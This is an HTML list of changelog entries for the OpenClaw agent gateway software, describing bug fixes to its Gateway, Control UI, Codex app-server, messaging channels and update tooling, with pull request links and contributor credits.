<li>Debug proxy: record CONNECT client-socket errors and destroy the paired upstream socket so abrupt client disconnects no longer leak tunnel resources. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4458576707" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82444" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82444/hovercard" href="https://github.com/openclaw/openclaw/pull/82444">#82444</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</li>
<li>Diffs: continue hydrating later diff cards when one card fails so a single broken card no longer blanks the whole diff viewer. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491329251" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84775" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84775/hovercard" href="https://github.com/openclaw/openclaw/pull/84775">#84775</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cosmopolitan033/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cosmopolitan033">@cosmopolitan033</a>.</li>
<li>Mac app: use the native settings sidebar window chrome so the sidebar toggle stays on the left and content no longer clips under oversized titlebar padding.</li>
<li>QA-Lab/Codex: bundle auth/plugin fixture imports for flow scenarios and let terminal async media tools end Codex app-server turns without timing out. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416570826" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80397" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80397/hovercard" href="https://github.com/openclaw/openclaw/issues/80397">#80397</a>, refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>WhatsApp: persist inbound message delivery state through plugin state before dispatch and delay read receipts until handler completion, so retryable failures can redeliver without adding a plugin-local disk cache. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Gateway/agents: preserve fresh session overrides and metadata when stale cached agent-session entries race with store updates, so subagent model/provider overrides and routing policy survive concurrent writes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3953968159" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/19328" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/19328/hovercard" href="https://github.com/openclaw/openclaw/pull/19328">#19328</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CodeReclaimers/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CodeReclaimers">@CodeReclaimers</a>.</li>
<li>Control UI/chat: keep chat session search inline with the session selector so the header no longer shows a duplicate standalone search row.</li>
<li>Control UI/chat: collapse focused-mode header chrome and suppress hidden-header scroll updates so focus mode no longer jumps while scrolling. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Codex app-server: restart the native app-server and retry once when server-side compaction times out, so preflight compaction stalls recover instead of failing every dispatch. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505443171" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85500" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85500/hovercard" href="https://github.com/openclaw/openclaw/pull/85500">#85500</a>)</li>
<li>Restore Control UI gateway token pairing [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504391156" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85459" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85459/hovercard" href="https://github.com/openclaw/openclaw/pull/85459">#85459</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>OpenAI video: honor configured provider request private-network opt-in for local/custom video endpoints so explicitly trusted mock and self-hosted providers are not blocked. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>OpenAI video: send uploaded video edit requests to the documented <code>/videos/edits</code> endpoint with a <code>video</code> file instead of posting MP4 references to <code>/videos</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/channels: preserve message-tool delivery evidence through gateway agent completion handoffs so successful generated media sends are not followed by false failure messages. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/update: repair managed npm plugin <code>openclaw</code> peer links during post-core convergence and reject stale or wrong-target peer links before restart. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473034358" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83794/hovercard" href="https://github.com/openclaw/openclaw/pull/83794">#83794</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>CLI/agents: default new omitted-account bindings to all accounts when the channel has multiple configured accounts, and clarify account-scope docs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4094569524" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49769" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/49769/hovercard" href="https://github.com/openclaw/openclaw/pull/49769">#49769</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gcaufy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gcaufy">@Gcaufy</a>.</li>
<li>Codex app-server: let authorized <code>/codex</code> control commands such as <code>/codex detach</code> escape plugin-owned conversation bindings while keeping unknown or unauthorized slash text routed to the bound plugin. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499059714" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85157" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85157/hovercard" href="https://github.com/openclaw/openclaw/issues/85157">#85157</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499435509" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85188" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85188/hovercard" href="https://github.com/openclaw/openclaw/pull/85188">#85188</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Auto-reply/models: keep <code>/models</code> browse replies fast by sharing the bounded read-only catalog path with Gateway model listing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490684687" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84735" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84735/hovercard" href="https://github.com/openclaw/openclaw/pull/84735">#84735</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/safrano9999/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/safrano9999">@safrano9999</a>.</li>
<li>Browser/Doctor: read macOS Chrome app bundle versions from <code>Info.plist</code> before spawning Chrome and extend the fallback version probe timeout, avoiding false cold-cache warnings from Gatekeeper latency. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503650489" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85418" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85418/hovercard" href="https://github.com/openclaw/openclaw/issues/85418">#85418</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidcittadini/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidcittadini">@davidcittadini</a>.</li>
<li>Codex app-server: disable native Code Mode when the effective exec host is <code>node</code> and keep OpenClaw <code>exec</code>/<code>process</code> available, so <code>/exec host=node</code> routes shell commands through the selected node instead of the gateway. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496082157" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85012" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85012/hovercard" href="https://github.com/openclaw/openclaw/issues/85012">#85012</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497727664" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85090" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85090/hovercard" href="https://github.com/openclaw/openclaw/pull/85090">#85090</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sahilsatralkar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sahilsatralkar">@sahilsatralkar</a>.</li>
<li>Agents: bound embedded auto-compaction session write-lock watchdogs to the compaction timeout instead of the full run timeout, so stuck compaction cannot hold the live session lock for the whole run window. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494569724" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84949" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84949/hovercard" href="https://github.com/openclaw/openclaw/pull/84949">#84949</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</li>
<li>Gateway/agents: return phase-aware <code>agent.wait</code> timeout attribution and only cool auth profiles on provider-started timeouts. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4249469795" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65504" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65504/hovercard" href="https://github.com/openclaw/openclaw/issues/65504">#65504</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Gateway/systemd: launch managed update handoff helpers in a transient user scope so systemd-supervised Update Now flows survive the gateway unit restart. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476025450" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84068" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84068/hovercard" href="https://github.com/openclaw/openclaw/issues/84068">#84068</a>.</li>
<li>Gateway: defer provider auth-state prewarm until after startup readiness so early gateway tool/session requests are not blocked by provider auth discovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500834987" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85272" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85272/hovercard" href="https://github.com/openclaw/openclaw/pull/85272">#85272</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dutifulbob/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dutifulbob">@dutifulbob</a>.</li>
<li>Gateway/models: coalesce provider auth-state rewarms after auth-profile failures and log event-loop delay for warm/rewarm work, so provider auth bursts no longer stack full auth sweeps behind channel replies.</li>
<li>Gateway/models: stop cancelled provider auth-state prewarms from continuing full provider sweeps, so reload and auth-failure bursts no longer keep startup busy.</li>
<li>Agents/Codex: show the first plan update as a transient chat status notice without counting it as final assistant content.</li>
<li>CLI/update: walk the macOS process ancestry and honor the inherited Gateway runtime PID before package updates stop the managed Gateway service, so nested in-band updater children can refuse instead of killing the LaunchAgent-supervised Gateway that owns them. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498492729" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85120" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85120/hovercard" href="https://github.com/openclaw/openclaw/issues/85120">#85120</a>.</li>
<li>Gateway/LaunchAgent: wait for launchd reload bootout to finish and fall back to kickstart when bootstrap races, so reload handoff does not leave the service deregistered. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488288195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84630" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84630/hovercard" href="https://github.com/openclaw/openclaw/issues/84630">#84630</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488410216" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84641" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84641/hovercard" href="https://github.com/openclaw/openclaw/pull/84641">#84641</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Gateway/LaunchAgent: treat a concurrent launchd bootstrap as a successful restart when the service is already loaded, avoiding false macOS Gateway restart failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490404700" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84721" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84721/hovercard" href="https://github.com/openclaw/openclaw/issues/84721">#84721</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490407392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84722" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84722/hovercard" href="https://github.com/openclaw/openclaw/pull/84722">#84722</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/googlerest/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/googlerest">@googlerest</a>.</li>
<li>Gateway/service: include the active <code>openclaw</code> command bin directory in managed service PATH generation and doctor audit expectations for npm-global macOS installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4478626262" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84201" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84201/hovercard" href="https://github.com/openclaw/openclaw/issues/84201">#84201</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483865879" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84475" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84475/hovercard" href="https://github.com/openclaw/openclaw/pull/84475">#84475</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jbetala7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jbetala7">@jbetala7</a>.</li>
<li>Control UI/chat: disable the thinking selector for known non-reasoning models instead of showing duplicate Off choices. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476067404" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84069" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84069/hovercard" href="https://github.com/openclaw/openclaw/issues/84069">#84069</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DrippingMellow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DrippingMellow">@DrippingMellow</a>.</li>
<li>Memory: expand <code>~</code> in configured extra memory paths before resolving them, so home-relative folders are not treated as workspace-relative. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4174961637" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58026" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58026/hovercard" href="https://github.com/openclaw/openclaw/issues/58026">#58026</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stadman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stadman">@stadman</a>.</li>
<li>Skills: treat <code>openclaw.os: macos</code> as Darwin when checking skill requirements, so macOS-only skills no longer report as missing on macOS hosts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4207464550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61338" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61338/hovercard" href="https://github.com/openclaw/openclaw/issues/61338">#61338</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jessecq1995/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jessecq1995">@Jessecq1995</a>.</li>
<li>Control UI/logs: strip ANSI escape sequences from displayed Gateway log messages so color codes no longer appear as raw text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4240403085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64399" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64399/hovercard" href="https://github.com/openclaw/openclaw/issues/64399">#64399</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guguangxin-eng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guguangxin-eng">@guguangxin-eng</a>.</li>
<li>Docker: pre-create the workspace and auth-profile config mount points with <code>node</code> ownership so first-run named volumes do not start root-owned. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497404130" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85076" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85076/hovercard" href="https://github.com/openclaw/openclaw/issues/85076">#85076</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Noerr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Noerr">@Noerr</a>.</li>
<li>Telegram: pass configured markdown table mode through outbound markdown chunking so chunked sends render tables consistently. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497655282" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85085" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85085/hovercard" href="https://github.com/openclaw/openclaw/issues/85085">#85085</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ShuaiHui/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ShuaiHui">@ShuaiHui</a>.</li>
<li>Diagnostics/OTel: drop snake_case diagnostic id attributes alongside camelCase ids so exported telemetry cannot leak run, session, message, chat, trace, or tool-call identifiers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333535987" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72645" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72645/hovercard" href="https://github.com/openclaw/openclaw/pull/72645">#72645</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lion0710/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lion0710">@Lion0710</a>.</li>
<li>CLI/update: preserve managed Gateway service environment during package cutovers so macOS LaunchAgent repair/restart reads the pre-update service state instead of caller shell state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463010272" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83026" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83026/hovercard" href="https://github.com/openclaw/openclaw/pull/83026">#83026</a>)</li>
<li>Agents/providers: honor per-model <code>api</code> and <code>baseUrl</code> overrides in custom provider auth hooks and transport selection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4417428084" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80487" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80487/hovercard" href="https://github.com/openclaw/openclaw/issues/80487">#80487</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4417429259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80488" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80488/hovercard" href="https://github.com/openclaw/openclaw/pull/80488">#80488</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huveewomg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huveewomg">@huveewomg</a>.</li>
<li>Gateway/restart: eager-load the lifecycle runtime before in-place upgrade signal handling so package replacement does not deadlock restart imports. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493066623" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84890" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84890/hovercard" href="https://github.com/openclaw/openclaw/pull/84890">#84890</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/myps6415/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/myps6415">@myps6415</a>.</li>
<li>CLI/update: start managed Gateway update handoff helpers from a stable existing directory and tolerate deleted cwd/package roots during macOS LaunchAgent handoff. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473282252" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83808" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83808/hovercard" href="https://github.com/openclaw/openclaw/issues/83808">#83808</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473943472" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83875" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83875/hovercard" href="https://github.com/openclaw/openclaw/pull/83875">#83875</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</li>
<li>Skills: watch each shared skill directory once across agent workspaces instead of once per agent, preventing file-descriptor exhaustion (<code>EMFILE</code>) that disposed bundle-mcp processes and stalled sessions on multi-agent gateways. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495117353" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84968" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84968/hovercard" href="https://github.com/openclaw/openclaw/issues/84968">#84968</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498689181" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85130" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85130/hovercard" href="https://github.com/openclaw/openclaw/pull/85130">#85130</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>Release/security: keep generated npm shrinkwrap package versions inside the pnpm lock graph so published package locks cannot bypass pnpm dependency age and override policy.</li>
<li>Cron: honor <code>cron.retry.retryOn: ["network"]</code> for common network error codes such as <code>EAI_AGAIN</code>, <code>EHOSTUNREACH</code>, and <code>ENETUNREACH</code>.</li>
<li>Gateway chat: broadcast returned agent-run error payloads after an agent starts so ACP/WebChat clients receive terminal idle-timeout errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494484146" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84945" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84945/hovercard" href="https://github.com/openclaw/openclaw/issues/84945">#84945</a>.</li>
<li>Gateway chat display: preserve OpenAI-compatible <code>prompt_tokens</code>, <code>completion_tokens</code>, and <code>total_tokens</code> usage fields in sanitized chat history so llama.cpp sessions keep context counts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386102968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77992" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77992/hovercard" href="https://github.com/openclaw/openclaw/issues/77992">#77992</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarTT79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarTT79">@MarTT79</a>.</li>
<li>Dashboard/CLI: allow macOS browser launching through <code>open</code> even when SSH environment variables are present, while preserving Linux SSH no-display protection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4267511627" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67088" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67088/hovercard" href="https://github.com/openclaw/openclaw/issues/67088">#67088</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/theglove44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/theglove44">@theglove44</a>.</li>
<li>Codex app-server: keep native web search observations out of mirrored chat transcripts while preserving available action query metadata in tool progress telemetry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498152488" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85109" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85109/hovercard" href="https://github.com/openclaw/openclaw/issues/85109">#85109</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ugitmebaby/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ugitmebaby">@ugitmebaby</a>.</li>
<li>OpenCode Go: strip unsupported Kimi reasoning replay fields before provider requests so repeated <code>kimi-k2.6</code> turns do not fail schema validation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473302434" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83812" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83812/hovercard" href="https://github.com/openclaw/openclaw/issues/83812">#83812</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sleeck/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sleeck">@Sleeck</a>.</li>
<li>Browser/CDP: add a WSL2 portproxy self-loop hint when Chrome DevTools endpoints accept connections but return an empty HTTP reply. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4189130225" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59209" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59209/hovercard" href="https://github.com/openclaw/openclaw/issues/59209">#59209</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Owlock/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Owlock">@Owlock</a>.</li>
<li>Agents/tools: add bounded tool-policy audit log entries that identify which allow/deny rule removed tools or blocked a sandboxed tool call. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4152597004" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55801" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55801/hovercard" href="https://github.com/openclaw/openclaw/issues/55801">#55801</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/justinjkline/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/justinjkline">@justinjkline</a>.</li>
